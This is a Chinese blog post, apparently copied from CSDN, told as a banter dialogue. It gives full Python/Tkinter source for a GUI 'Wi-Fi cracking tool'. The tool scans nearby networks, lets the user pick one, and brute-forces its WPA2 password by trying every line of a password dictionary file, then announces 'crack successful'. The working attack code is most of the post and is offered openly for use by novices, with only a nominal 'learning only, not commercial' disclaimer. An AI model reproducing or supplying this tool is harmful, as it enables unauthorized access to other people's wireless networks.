Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。
WIFI萬能鑰匙GUI版本
- 1、引言
- 2、代碼實戰(zhàn)
- 3、總結(jié)
1、引言
小屌絲:魚哥, 上次你寫的wifi破解神器,雖然好用,但是沒有GUI界面啊。
小魚:… 你還想要GUI界面版的?
小屌絲:對啊,GUI版的使用起來會很方便的。
小魚:這真的是吃人嘴短,拿人手短…
小屌絲:魚哥,我都沒往那快想…
小魚:拉倒吧… 我還不知道你呢。給我?guī)追昼?#xff0c;我來寫一個GUI版本的。
2、代碼實戰(zhàn)
上一篇,小魚寫了非GUI版本的萬能鑰匙,反饋還不錯。
《Python3,10分鐘寫了一個WIFI 萬(破) 能 (解) 鑰 (神) 匙 (器),YYDS。》
但是,也有同學私信我說,能不能搞一個GUI版本的,畢竟有很多人不會使用非GUI模式的。
這沒毛病, 今天小魚就來擼一個GUI版本的wifi萬能鑰匙,但是,
在這里,小魚強調(diào)兩點:
- wifi萬能鑰匙不能用于商用,僅供學習使用;
- 如果商用出現(xiàn)任何不好影響,都跟小魚無關(guān)。
這里我們基于Tkinter庫進行開發(fā)。
話不多說,老規(guī)矩,直接上代碼。
代碼展示
# -*- coding:utf-8 -*- # @Time : 2022-09-04 # @Author : Carl_DJfrom tkinter import * import pywifi from pywifi import const import time import tkinter.filedialog # 在Gui中打開文件瀏覽 import tkinter.messagebox # 打開tkiner的消息提醒框class WIFI_GUI():def __init__(self, init_window_name):self.init_window_name = init_window_name# 密碼文件路徑self.get_value = StringVar() # 設置可變內(nèi)容# 獲取破解wifi賬號self.get_wifi_value = StringVar()# 獲取wifi密碼self.get_wifimm_value = StringVar()# 抓取網(wǎng)卡接口self.wifi = pywifi.PyWiFi()# 抓取第一個無線網(wǎng)卡self.iface = self.wifi.interfaces()[0]# 測試鏈接斷開所有鏈接self.iface.disconnect()time.sleep(1) # 休眠1秒# 測試網(wǎng)卡是否屬于斷開狀態(tài)assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]def __str__(self):# 自動會調(diào)用的函數(shù),返回自身的網(wǎng)卡return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())# 設置窗口def set_init_window(self):self.init_window_name.title("WIFI破解工具")self.init_window_name.geometry('+500+200')labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下對象都是對于labelframe中添加的labelframe.grid(column=0, row=0, padx=10, pady=10)self.search = Button(labelframe, text="搜索附近WiFi", command=self.scan_wifi_list).grid(column=0, row=0)self.pojie = Button(labelframe, text="開始破解", command=self.readPassWord).grid(column=1, row=0)self.label = Label(labelframe, text="目錄路徑:").grid(column=0, row=1)self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)self.file = Button(labelframe, text="添加密碼文件目錄", command=self.add_mm_file).grid(column=2, row=1)self.wifi_text = Label(labelframe, text="WiFi賬號:").grid(column=0, row=2)self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)self.wifi_mm_text = Label(labelframe, text="WiFi密碼:").grid(column=2, row=2)self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)self.wifi_labelframe = LabelFrame(text="wifi列表")self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)# 定義樹形結(jié)構(gòu)與滾動條self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)self.wifi_tree.configure(yscrollcommand=self.vbar.set)# 表格的標題self.wifi_tree.column("a", width=50, anchor="center")self.wifi_tree.column("b", width=100, anchor="center")self.wifi_tree.column("c", width=100, anchor="center")self.wifi_tree.column("d", width=100, anchor="center")self.wifi_tree.heading("a", text="WiFiID")self.wifi_tree.heading("b", text="SSID")self.wifi_tree.heading("c", text="BSSID")self.wifi_tree.heading("d", text="signal")self.wifi_tree.grid(row=4, column=0, sticky=NSEW)self.wifi_tree.bind("<Double-1>", self.onDBClick)self.vbar.grid(row=4, column=1, sticky=NS)# 搜索wifidef scan_wifi_list(self): # 掃描周圍wifi列表# 開始掃描print("^_^ 開始掃描附近wifi...")self.iface.scan()time.sleep(15)# 在若干秒后獲取掃描結(jié)果scanres = self.iface.scan_results()# 統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量nums = len(scanres)print("數(shù)量: %s" % (nums))# 實際數(shù)據(jù)self.show_scan_wifi_list(scanres)return scanres# 顯示wifi列表def show_scan_wifi_list(self, scans_res):for index, wifi_info in enumerate(scans_res):self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))# 添加密碼文件目錄def add_mm_file(self):self.filename = tkinter.filedialog.askopenfilename()self.get_value.set(self.filename)# Treeview綁定事件def onDBClick(self, event):self.sels = event.widget.selection()self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])# 讀取密碼字典,進行匹配def readPassWord(self):self.getFilePath = self.get_value.get()self.get_wifissid = self.get_wifi_value.get()pwdfilehander = open(self.getFilePath, "r", errors="ignore")while True:try:self.pwdStr = pwdfilehander.readline()if not self.pwdStr:breakself.bool1 = self.connect(self.pwdStr, self.get_wifissid)if self.bool1:self.res = "[*] 密碼正確!wifi名:%s,匹配密碼:%s " % (self.get_wifissid, self.pwdStr)self.get_wifimm_value.set(self.pwdStr)tkinter.messagebox.showinfo('提示', '破解成功!!!')print(self.res)breakelse:self.res = "[*] 密碼錯誤!wifi名:%s,匹配密碼:%s" % (self.get_wifissid, self.pwdStr)print(self.res)time.sleep(3)except:continue# 對wifi和密碼進行匹配def connect(self, pwd_Str, wifi_ssid):# 創(chuàng)建wifi鏈接文件self.profile = pywifi.Profile()# wifi名稱self.profile.ssid = wifi_ssid self.profile.auth = const.AUTH_ALG_OPEN # wifi加密算法self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密單元self.profile.cipher = const.CIPHER_TYPE_CCMP # 密碼 self.profile.key = pwd_Str # 刪除所有的wifi文件self.iface.remove_all_network_profiles() # 設定新的鏈接文件self.tmp_profile = self.iface.add_network_profile(self.profile) self.iface.connect(self.tmp_profile) time.sleep(5)# 判斷是否連接wifiif self.iface.status() == const.IFACE_CONNECTED: isOK = Trueelse:isOK = False# 斷開連接self.iface.disconnect() time.sleep(1)# 檢查斷開狀態(tài)assert self.iface.status() in \[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]return isOK#啟動GUI窗口 def gui_start():init_window = Tk()ui = WIFI_GUI(init_window)print(ui)ui.set_init_window()init_window.mainloop()#執(zhí)行 if __name__ == "__main__":gui_start()運行結(jié)果:
小屌絲:這個可以,可以,非常可以,太可以了~ ~
小魚:嗯,這個符合你的"胃口"了?
小屌絲:魚哥,那必須的, 待會我準備準備,咱倆擼串去。
小魚:額… 今天…沒…空…
3、總結(jié)
看到這里, 今天的內(nèi)容就差不多該結(jié)束了。
回想一下,關(guān)于WIFI萬能鑰匙, 小魚總共寫了兩篇博文:
- 《Python3,10分鐘寫了一個WIFI 萬(破) 能 (解) 鑰 (神) 匙 (器),YYDS。》
- 《Python3,WIFI 萬(破) 能 (解) 鑰 (神) 匙 (器)的 GUI版本來了,果斷收藏。》
針對第一篇,是非GUI版本,更適合擼碼人調(diào)試使用, 不需要華麗的外表,直接運行代碼就完事;
針對第二篇,是GUI版本,即即使沒開發(fā)經(jīng)驗的同學,也能使用;
當然,小魚還是要嘮叨一下,
在這里,就是最純粹的技術(shù)語言,切勿商用。
我是小魚:
- CSDN博客專家;
- 51Testing認證講師;
關(guān)注我,帶你學習更多更專業(yè)更有趣的Python知識。
總結(jié)
以上是生活随笔為你收集整理的Python3,WIFI 万(破) 能 (解) 钥 (神) 匙 (器)的 GUI版本来了,果断收藏。的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 进程间通信——消息队列(Message
- 下一篇: 前端面试题总结以及vue在工作中常见的错